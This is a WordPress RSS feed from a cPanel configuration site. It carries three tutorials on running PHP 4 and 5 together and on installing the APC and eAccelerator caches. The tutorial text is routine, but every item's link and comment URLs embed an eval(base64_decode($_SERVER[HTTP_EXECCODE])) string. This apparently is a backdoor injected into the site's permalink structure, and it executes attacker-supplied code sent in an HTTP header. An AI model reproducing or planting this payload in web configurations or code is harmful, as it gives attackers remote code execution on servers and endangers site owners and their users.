<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>cPanelConfig - cPanel server configuration guide &#187; php</title>
	<atom:link href="http://www.cpanelconfig.com/tag/php/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.cpanelconfig.com</link>
	<description>The complete guide to setup and manage a cPanel based server</description>
	<lastBuildDate>Fri, 17 Jul 2009 11:15:39 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Running PHP 5 and PHP 4 on the same cpanel server</title>
		<link>http://www.cpanelconfig.com/2007/10/14/running-php-5-and-php-4-on-the-same-cpanel-server/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/</link>
		<comments>http://www.cpanelconfig.com/2007/10/14/running-php-5-and-php-4-on-the-same-cpanel-server/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/#comments</comments>
		<pubDate>Sun, 14 Oct 2007 19:54:13 +0000</pubDate>
		<dc:creator>yolau</dc:creator>
				<category><![CDATA[cPanel Administration]]></category>
		<category><![CDATA[cpanel]]></category>
		<category><![CDATA[fastcgi]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[php 4]]></category>
		<category><![CDATA[php 5]]></category>

		<guid isPermaLink="false">http://www.cpanelconfig.com/cpanel-administration/running-php-5-and-php-4-on-the-same-cpanel-server/</guid>
		<description><![CDATA[This article will help you install and run on the same server php 4 and 5. Users will be allowed to choose what version to use for their scrips.
Although I personally don&#8217;t recommend this as it has many performance implications it&#8217;s something that small webhosts use so that they don&#8217;t have to have different servers [...]]]></description>
			<content:encoded><![CDATA[<p>This article will help you install and run on the same server php 4 and 5. Users will be allowed to choose what version to use for their scrips.<br />
Although I personally don&#8217;t recommend this as it has many performance implications it&#8217;s something that small webhosts use so that they don&#8217;t have to have different servers for different php versions.<br />
<!--adsense--></p>
<p>O k, let&#8217;s get started. Before I explain how to install it please note that part of this article is inspired by a post on Defender Hosting Forum (http://forums.defenderhosting.com/showthread.php?t=2103)</p>
<ol>
<li>Compiler check</li>
<blockquote><p>/scripts/checkccompiler<br />
rm -rf /home/cpphpbuild<br />
mkdir /home/cpphpbuild<br />
cd /home/cpphpbuild</p></blockquote>
<li>Download and extract php</li>
<blockquote><p>wget http://us2.php.net/get/php-5.2.4.tar.gz/from/this/mirror<br />
tar zfx php-5.2.4.tar.gz<br />
cd php-5.2.4</p></blockquote>
<li>Configure and build the php installation (credits go to elix for an excellent work)</li>
<blockquote><p>echo &#8220;#define HAVE_SENDMAIL 1&#8243; &gt;&gt; /home/cpphpbuild/php-5.2.4/main/php_config.h<br />
wget http://www.elix.us/tutorials/php5.gen.cpanel<br />
chmod 700 php5.gen.cpanel<br />
./php5.gen.cpanel<br />
make<br />
make install</p></blockquote>
<p><!--adsense--></p>
<li>Moving the files and finishing the configuration</li>
<blockquote><p>cp -f /usr/local/php5/bin/php5 /usr/local/cpanel/cgi-sys/php5<br />
chown root:wheel /usr/local/cpanel/cgi-sys/php5</p>
<p>cp -p /home/cpphpbuild/php-5.2.4/php.ini-recommended /usr/local/php5/lib/php.ini<br />
chown root.root /usr/local/php5/lib/php.ini<br />
chmod 644 /usr/local/php5/lib/php.ini</p>
<p>echo &#8220;cgi.fix_pathinfo = 1 ; needed for CGI/FastCGI mode&#8221; &gt;&gt; /usr/local/php5/lib/php.ini</p></blockquote>
<li>Now we have to add a few lines to the httpd.conf file</li>
<blockquote><p>pico /usr/local/apache/conf/httpd.conf</p></blockquote>
<p>Add in the section <ifmodule></ifmodule>&#8211; &#8220;index.php5&#8243; before index.php4<br />
Add after &#8220;AddType application/x-httpd-php .phtml&#8221;</p>
<blockquote><p>Action application/x-httpd-php5 &#8220;/cgi-sys/php5&#8243;<br />
AddHandler application/x-httpd-php5 .php5</p></blockquote>
<li>Test the installation</li>
<blockquote><p>service httpd configtest</p></blockquote>
<p>If you get any errors please check that you done all the steps properly.<br />
If everything is ok you can now restart apache</p>
<li>Restart apache</li>
<blockquote><p>service httpd restart</p></blockquote>
</ol>
<p><!--adsense--></p>
<p>Now any files with the extension .php5 will be parsed by php 5 and all the other files will be parsed by your &#8220;normal&#8221; php 4 installation.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.cpanelconfig.com/2007/10/14/running-php-5-and-php-4-on-the-same-cpanel-server/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>How to install APC (PHP Cache)</title>
		<link>http://www.cpanelconfig.com/2007/09/07/how-to-install-apc-php-cache/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/</link>
		<comments>http://www.cpanelconfig.com/2007/09/07/how-to-install-apc-php-cache/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/#comments</comments>
		<pubDate>Fri, 07 Sep 2007 13:54:06 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Optimization]]></category>
		<category><![CDATA[APC]]></category>
		<category><![CDATA[php]]></category>

		<guid isPermaLink="false">http://www.cpanelconfig.com/optimize-a-cpanel-server/how-to-install-apc-php-cache/</guid>
		<description><![CDATA[
What is APC?
APC is a free, open, and robust framework for caching and optimizing PHP intermediate code.
Install instructions

Login to the server as root
Download APC
wget http://pecl.php.net/get/APC-3.0.14.tgz
Extract and move into the directory
gzip -d APC-3.0.14.tgz
tar -xf APC-3.0.14.tar
cd APC-3.0.14
Locate where php is
which php
This should return something like: /usr/local/bin/php
We have to remember the location of php
Create configuration files
phpize
Compile APC
./configure &#8211;enable-apc [...]]]></description>
			<content:encoded><![CDATA[<p><!--adsense--><br />
<strong>What is APC?<br />
</strong>APC is a free, open, and robust framework for caching and optimizing PHP intermediate code.<br />
<strong>Install instructions</strong></p>
<ol>
<li>Login to the server as root</li>
<li>Download APC</li>
<blockquote><p>wget http://pecl.php.net/get/APC-3.0.14.tgz</p></blockquote>
<li>Extract and move into the directory</li>
<blockquote><p>gzip -d APC-3.0.14.tgz<br />
tar -xf APC-3.0.14.tar<br />
cd APC-3.0.14</p></blockquote>
<li>Locate where php is</li>
<blockquote><p>which php</p></blockquote>
<p>This should return something like: <strong>/usr/local/bin/</strong>php<br />
We have to remember the location of php</p>
<li>Create configuration files</li>
<blockquote><p>phpize</p></blockquote>
<li>Compile APC</li>
<blockquote><p>./configure &#8211;enable-apc &#8211;enable-apc-mmap &#8211;with-apxs &#8211;with-php-config=/usr/local/bin/php-config<br />
make<br />
make install</p></blockquote>
<p>The &#8220;make install&#8221; commnand will return the location of the apc.so extention please note the location. You will need this later.<br />
<!--adsense--></p>
<li>Install APC into php.ini</li>
<p>You will have to first locate php using the locate command</p>
<blockquote><p>locate php</p></blockquote>
<p>This will usualy return /usr/local/Zend/etc/php.ini on a server that has Zend optimizer installed.<br />
Now we will edit php.ini and add the APC extension.</p>
<blockquote><p>pico /usr/local/Zend/etc/php.ini</p></blockquote>
<p>Scroll down to the buttom and add the fallowing before the lines about the zend optimizer (They start with [Zend])</p>
<blockquote><p>extension=&#8221;/apc_location/apc.so&#8221;</p></blockquote>
<li>Restart Apache</li>
<p>If you done everything it&#8217;s time to restart Apache</p>
<blockquote><p>service httpd restart</p></blockquote>
</ol>
<p>Hope this helps !<br />
<!--adsense--></p>
]]></content:encoded>
			<wfw:commentRss>http://www.cpanelconfig.com/2007/09/07/how-to-install-apc-php-cache/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/feed/</wfw:commentRss>
		<slash:comments>9</slash:comments>
		</item>
		<item>
		<title>How to install Eaccelerator</title>
		<link>http://www.cpanelconfig.com/2007/09/07/how-to-install-eaccelerator/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/</link>
		<comments>http://www.cpanelconfig.com/2007/09/07/how-to-install-eaccelerator/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/#comments</comments>
		<pubDate>Fri, 07 Sep 2007 13:04:10 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Optimization]]></category>
		<category><![CDATA[apache]]></category>
		<category><![CDATA[eaccelerator]]></category>
		<category><![CDATA[php]]></category>

		<guid isPermaLink="false">http://www.cpanelconfig.com/uncategorized/how-to-install-eaccelerator/</guid>
		<description><![CDATA[

What is Eaccelerator?
eAccelerator is a free open-source PHP accelerator, optimizer, and dynamic content cache. It increases the performance of PHP scripts by caching them in their compiled state, so that the overhead of compiling is almost completely eliminated. It also optimizes scripts to speed up their execution. eAccelerator typically reduces server load and increases the [...]]]></description>
			<content:encoded><![CDATA[<p><!--adsense--></p>
<blockquote></blockquote>
<p><strong>What is Eaccelerator?<br />
</strong>eAccelerator is a free open-source PHP accelerator, optimizer, and dynamic content cache. It increases the performance of PHP scripts by caching them in their compiled state, so that the overhead of compiling is almost completely eliminated. It also optimizes scripts to speed up their execution. eAccelerator typically reduces server load and increases the speed of your PHP code by 1-10 times.</p>
<p><strong>Install instructions</strong></p>
<ol>
<li>Login as root</li>
<li>Download Eaccelerator</li>
<blockquote><p>wget http://bart.eaccelerator.net/source/0.9.5.2/eaccelerator-0.9.5.2.zip</p></blockquote>
<li>Extract and move into the directory</li>
<blockquote><p>unzip eaccelerator-0.9.5.2.zip<br />
cd eaccelerator-0.9.5.2</p></blockquote>
<li>Locate where php is</li>
<blockquote><p>which php</p></blockquote>
<p>This should return something like: <strong>/usr/local/bin/</strong>php<br />
We have to remember the location of php</p>
<li>Create configuration files</li>
<blockquote><p>phpize</p></blockquote>
<li>Compile Eaccelerator</li>
<blockquote><p>./configure &#8211;enable-eaccelerator=shared &#8211;with-php-config=<strong>/usr/local/bin/</strong>php-config<br />
make<br />
make install</p></blockquote>
<p>The &#8220;make install&#8221; commnand will return the location of the eaccelerator.so extention please note the location. You will need this later.<br />
<!--adsense--></p>
<li>Install Eaccelerator into php.ini</li>
<p>This can be done as a Zend extension or as a PHP extention.<br />
I personally recommend installing it as a Zend extension.<br />
You will have to first locate php using the locate command</p>
<blockquote><p>locate php</p></blockquote>
<p>This will usualy return /usr/local/Zend/etc/php.ini on a server that has Zend optimizer installed.<br />
Now we will edit php.ini and add the Eaccelerator extension.</p>
<blockquote><p>pico /usr/local/Zend/etc/php.ini</p></blockquote>
<p>Scroll down to the buttom and add the fallowing <strong>before</strong> the lines about the zend optimizer (They start with [Zend])</p>
<blockquote><p>zend_extension=&#8221;/<strong>eaccelerator_location</strong>/eaccelerator.so&#8221;<br />
eaccelerator.shm_size=&#8221;16&#8243;<br />
eaccelerator.cache_dir=&#8221;/tmp/eaccelerator&#8221;<br />
eaccelerator.enable=&#8221;1&#8243;<br />
eaccelerator.optimizer=&#8221;1&#8243;<br />
eaccelerator.check_mtime=&#8221;1&#8243;<br />
eaccelerator.debug=&#8221;0&#8243;<br />
eaccelerator.filter=&#8221;"<br />
eaccelerator.shm_max=&#8221;0&#8243;<br />
eaccelerator.shm_ttl=&#8221;0&#8243;<br />
eaccelerator.shm_prune_period=&#8221;0&#8243;<br />
eaccelerator.shm_only=&#8221;0&#8243;<br />
eaccelerator.compress=&#8221;1&#8243;<br />
eaccelerator.compress_level=&#8221;9&#8243;</p></blockquote>
<li>Restart Apache</li>
<p>If you done everything it&#8217;s time to restart Apache</p>
<blockquote><p>service httpd restart</p></blockquote>
<li>Test to see if everything is ok</li>
<blockquote><p>php -v</p></blockquote>
<p>If you see something like you are all done.</p>
<blockquote><p>with eAccelerator v0.9.5.1, Copyright (c) 2004-2006 eAccelerator, by eAccelerator</p></blockquote>
</ol>
<p><!--adsense--></p>
]]></content:encoded>
			<wfw:commentRss>http://www.cpanelconfig.com/2007/09/07/how-to-install-eaccelerator/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/feed/</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
	</channel>
</rss>
